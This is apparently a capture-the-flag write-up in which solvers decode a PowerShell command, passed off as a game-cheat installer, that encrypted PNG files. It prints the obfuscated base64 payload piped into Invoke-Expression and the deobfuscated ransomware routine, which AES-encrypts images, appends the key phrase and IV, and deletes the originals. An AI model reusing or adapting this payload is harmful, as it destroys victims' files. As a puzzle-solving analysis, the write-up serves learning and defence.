solved by treeindustry, hartmannsyg, tomato
My friend ran some weird commands he found online to try and install some elite cheats and ended up getting his files encrypted! Help recover his encrypted file đ
In the files we are given in both the console.log
and powerful.ps1
, we see this command being run in powershell:
( new-OBJECT SYStem.iO.sTReamReAdER(( new-OBJECT SyStem.Io.ComPrEsSION.deFLaTESTReam([SyStEM.iO.meMoRystreAM][sySTeM.CONVERt]::FrombaSE64STRIng( 'bVVhc5pKFP3emf6HfYxT8BmZxMQ0Ted9QMWE1qBPja0vkxkIrroRgQLaWsf//s7dBdN0mskuCOy9555z9u6Ij+tibN+xiTV0rKfQvu755yNmsId8l/BHQ9tfHfZnpxj4x8Dd+8O+cdhfHvbNw/7DYX9x2J8fNFbv6kOhn+hrM7MDXNMdJhtjsOTDddzB3Rgjwch3ZhuX0TTD3F8MrcFyagYOveGY7vUqY/j/yNjIHte3ViqBMWZoO0eraZFWZcZDPh3YBK8hMUkQwKgBxjTLESXod5zohtJgfB2btkt41uaYl+FHKN2h0g19otd0ayj8p559jdsFxvxr1OzgUzAx3qlUZzKJTKjV53pX9AhuNsVkOrFJuRDuBf18EwW5iCNmzy2vNWqz/ds3DH+Jn/prZqgf9PeQ5amIFo+VKM4W8fbkD29WvvgZq+fVt28qaZqyf5hp6C6g8u91zP2nZ7oPcgKtFUjPCrBMn8VrAIwIcM7X5tAnuDudggVLP80Qjko8VzKT4krkCyn4lZS6KbmmTy6UIRokPILf3DqfPvfu3P6AyJ7+d3rWOL9oXuIHMfTvkDSIMTp2F/N8sRTPq3BNYJJvKbmAFNtsv//Y/bRa5I0ZKYjx/uoDZv+J3HM/+SLhCh9Y3x1L7z/h+nysW4nUlMBlESTVSLLY2ghV9IkeznhaUkG2zEk9/oPiz+OUGRWBHKcfGa71MGdnl3Rbq1VJQgAwNT/xBrbb0QzF3gMpQnIgRg3VVE3NibyJF694+Ymp9Tzu3oyXWvURaQ5lJRTOwN6o6TFg4gKkcr279WKP1lPRhT5qI54XdUFVvhVhFviFtKHgf9FtnEum1q888htRV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O.COMprESSION.coMPrESsioNmODe]::DecOMPrEss ) ), [sYstem.TexT.ENCoDiNg]::aScII)).rEaDTOend() | & ( $eNV:COmSpEC[4,26,25]-join'') |
This has two parts, a streamreader that decompresses the base64 string, and then pipes the result into the ( $eNV:COmSpEC[4,26,25]-join'')
. The ( $eNV:COmSpEC[4,26,25]-join'')
runs iex
, which according to google:
âInvoke expressionsâ (IEX) in PowerShell are a common method of executing code.
To see what sort os code is being run, we remove the | & ( $eNV:COmSpEC[4,26,25]-join'')
part and paste it into powershell like this:
1 | PS C:\Users\ryan> ( new-OBJECT SYStem.iO.sTReamReAdER(( new-OBJECT SyStem.Io.ComPrEsSION.deFLaTESTReam([SyStEM.iO.meMoRystreAM][sySTeM.CONVERt]::FrombaSE64STRIng( 'bVVhc5pKFP3emf6HfYxT8BmZxMQ0Ted9QMWE1qBPja0vkxkIrroRgQLaWsf//s7dBdN0mskuCOy9555z9u6Ij+tibN+xiTV0rKfQvu755yNmsId8l/BHQ9tfHfZnpxj4x8Dd+8O+cdhfHvbNw/7DYX9x2J8fNFbv6kOhn+hrM7MDXNMdJhtjsOTDddzB3Rgjwch3ZhuX0TTD3F8MrcFyagYOveGY7vUqY/j/yNjIHte3ViqBMWZoO0eraZFWZcZDPh3YBK8hMUkQwKgBxjTLESXod5zohtJgfB2btkt41uaYl+FHKN2h0g19otd0ayj8p559jdsFxvxr1OzgUzAx3qlUZzKJTKjV53pX9AhuNsVkOrFJuRDuBf18EwW5iCNmzy2vNWqz/ds3DH+Jn/prZqgf9PeQ5amIFo+VKM4W8fbkD29WvvgZq+fVt28qaZqyf5hp6C6g8u91zP2nZ7oPcgKtFUjPCrBMn8VrAIwIcM7X5tAnuDudggVLP80Qjko8VzKT4krkCyn4lZS6KbmmTy6UIRokPILf3DqfPvfu3P6AyJ7+d3rWOL9oXuIHMfTvkDSIMTp2F/N8sRTPq3BNYJJvKbmAFNtsv//Y/bRa5I0ZKYjx/uoDZv+J3HM/+SLhCh9Y3x1L7z/h+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vmS0qN4VYQ5i//bMxL2h1S9tKpFtKpkfu9A7KlfIvlK/pc6VkeMrSdFSeJH2E50bIkISSrikT5AJ8UzN9aw1/Fg7nhvUR03ybRToZW8yf0mDcRurNHx+RMHnFJrOjiygctTWZJShu/F6oWt5d0hTl8S/WjlE/UCHsZXxHUWIXOnde72e6wOgFOjwPw==') , [sysTEM.IO.COMprESSION.coMPrESsioNmODe]::DecOMPrEss ) ), [sYstem.TexT.ENCoDiNg]::aScII)).rEaDTOend() |
and we get this output:
SeT-iTEM VARIAblE:La3S ( [type]("{8}{10}{1}{11}{0}{7}{2}{6}{5}{9}{4}{3}" -F'Ri','m.sEc','ry','E','PheRmoD','T','p','ty.C','SYs','OgRAPhY.cI','te','U') ) ; SET-vArIAblE ("yI"+"n") ([tYPE]("{2}{0}{4}{3}{1}"-F'Yst','cODInG','S','XT.EN','Em.Te') ) ;SeT-ITEM ('V'+'ARiabLE:'+'g'+'fXn5D') ( [TyPE]("{1}{3}{2}{0}"-f'FiLe','sY','.Io.','STEM') ) ; function EfA`BSC { param ( [string]$nosgov, [string]$kaizo ) $rrr = .('N'+'ew-'+'Obj'+'ect') ("{3}{2}{1}{0}"-f 'dom','n','stem.Ra','Sy') $chars = ("{13}{11}{10}{2}{6}{4}{7}{8}{9}{5}{0}{3}{14}{1}{12}" -f 'GHIJKLMNOP','XYZ0123456','e','QRS','o','DEF','fghijklmn','pqrs','t','uvwxyzABC','d','c','789','ab','TUVW') $ia = &('N'+'ew-Ob'+'ject') ("{1}{3}{5}{4}{0}{2}"-f'StringBui','Sy','lder','stem.T','t.','ex') for ($i = 0; $i -lt 16; $i++) { $ia."ap`PEND"($chars[$rrr.('Nex'+'t')."In`V`oke"($chars."L`eNGTh")]) } $ia = $ia.('T'+'oStr'+'ing')."INv`o`ke"() $s = ("{0}{1}{3}{2}"-f 'devilsca','n','lie!','not') $m = .('N'+'ew-Ob'+'ject') ("{8}{6}{4}{2}{1}{3}{0}{5}{7}"-f'MD5Cry','o','.Crypt','graphy.','rity','ptoServic','stem.Secu','eProvider','Sy') $keyBuilder = &('New-'+'Obj'+'ect') ("{6}{3}{1}{2}{5}{4}{0}"-f'uilder','r','i','t.St','B','ng','System.Tex') foreach ($c in $s.('To'+'CharArra'+'y')."InV`oKe"()) { $h = $m."Co`MPuTeH`A`sh"( $YiN::"aS`ciI".('GetBy'+'te'+'s')."in`VoKE"($c)) $keyBuilder."a`pPeND"([char]$h[2]) } $k = (gET-Item ("vARiabL"+"E:"+"yI"+"N")).VAlUe::"as`Cii".('GetB'+'yt'+'es')."invO`ke"($keyBuilder.('ToS'+'tr'+'ing')."iNvO`kE"()) $ia = $yiN::"aS`cIi".('Ge'+'tB'+'ytes')."iN`Vo`kE"($ia) $id = ( gEt-VaRiABLe gFxn5d).vALue::('R'+'eadAllByt'+'e'+'s')."i`NvOKE"($nosgov) $aes = &('N'+'ew-Obj'+'ect') ("{4}{7}{11}{2}{3}{9}{5}{10}{1}{0}{6}{8}" -f 'pt','sCry','C','rypt','System','raphy.','oServiceProvi','.Secur','der','og','Ae','ity.') $aes."M`ODe" = $la3S::"C`Bc" $aes."k`eY" = $k $aes."IV" = $ia $ccc = $aes.('Cre'+'at'+'eEncr'+'yptor')."Invo`kE"() $ed = $ccc.('T'+'ran'+'s'+'formFi'+'n'+'alBlock')."I`NvoKe"($id, 0, $id."lE`NGTH") $slumber = $ed + ( vARiAble ("yi"+"N") -vaLuE )::"a`sciI".('Get'+'By'+'tes')."inV`oKE"($s) + $ia (cHILditeM ('V'+'ARIabLE:'+'G'+'FXN5D') ).value::('Wr'+'iteAl'+'lB'+'ytes')."i`NvOKE"($kaizo, $slumber) } $cd = &('Get-'+'Da'+'te') if ($cd."mo`NtH" -eq 4 -and $cd."D`Ay" -eq 20) { $dp = "." $pf = .('Get-Ch'+'ild'+'I'+'tem') -Path $dp -Filter *`.pNG foreach ($p in $pf) { &('Write'+'-Ho'+'st') $p $ef = .('J'+'oin-Pa'+'th') $dp ($p."N`Ame" + ("{0}{1}"-f'.e','nc')) .('Write'+'-'+'Host') $ef &('efa'+'b'+'sc') -nosgov $p."Fu`LlNA`Me" -kaizo $ef &('Rem'+'o'+'ve'+'-Item') $p."F`U`LLName" } } |
after quite some cleaning up of the code we get this (I dont think this is perfect powershell code but you get the idea):
1 | $cd = Get-Date |
Since AES is used, which is a symmetric key cipher, it uses the same secret key for both encryption and decryption. So to solve this, we first generate the key $k
with powershell cuz why not:
1 | $s = "devilscannotlie!" |
Another thing to note is that the IV and "devilscannotlie!"
are appended at the end of the encrypted image:
1 | 00006000 64 65 76 69:6C 73 63 61|6E 6E 6F 74:6C 69 65 21 devilscannotlie! |
so we can get the IV and decrypt the image fully:
1 | from Crypto.Cipher import AES |
blahaj{6r0v3l_hum4n!_1_4m_p0w3r!}